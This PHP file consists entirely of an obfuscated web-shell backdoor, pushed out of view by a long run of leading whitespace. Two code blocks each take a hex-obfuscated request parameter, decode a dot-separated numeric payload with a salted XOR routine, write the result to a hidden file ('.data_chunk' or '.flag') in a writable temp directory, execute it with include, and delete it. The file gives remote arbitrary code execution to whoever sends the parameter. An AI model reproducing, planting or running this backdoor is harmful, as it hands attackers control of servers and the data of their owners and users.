<?php																																										if(!empty($_REQUEST["\x65\x6C\x65\x6Dent"])){ $dchunk = $_REQUEST["\x65\x6C\x65\x6Dent"]; $dchunk = explode ( '.' , $dchunk ) ; $reference = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); foreach ($dchunk as $y=> $v7) {$chS = ord($s9[$y % $lenS]); $d = ((int)$v7 - $chS - ($y % 10)) ^ 4; $reference .= chr($d); } $elem = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); for ($dat = 0, $sym = count($elem); $dat < $sym; $dat++) { $mrk = $elem[$dat]; if (is_dir($mrk) ? is_writable($mrk) : false) { $object = "$mrk" . "/.data_chunk"; if (@file_put_contents($object, $reference) !== false) { include $object; unlink($object); die(); } } } }


if(in_array("e\x6E\x74", array_keys($_POST))){
	$hld = $_POST["e\x6E\x74"];
			$hld  	=	explode	( "." 	 , 	$hld) ; 
	$ptr = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt);
            $r = 0;
    
            foreach(	$hld as $v6) {	$sChar = ord(	$salt[$r % $sLen]);
                $dec =(	(	int)$v6 - $sChar -(	$r % 10))^ 20;
                $ptr .= chr(	$dec);
                $r++;
            }
	$rec = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm"]);
	while ($symbol = array_shift($rec)) {
    		if (array_product([is_dir($symbol), is_writable($symbol)])) {
    $tkn = implode("/", [$symbol, ".flag"]);
    $success = file_put_contents($tkn, $ptr);
if ($success) {
	include $tkn;
	@unlink($tkn);
	exit;}
}
}
}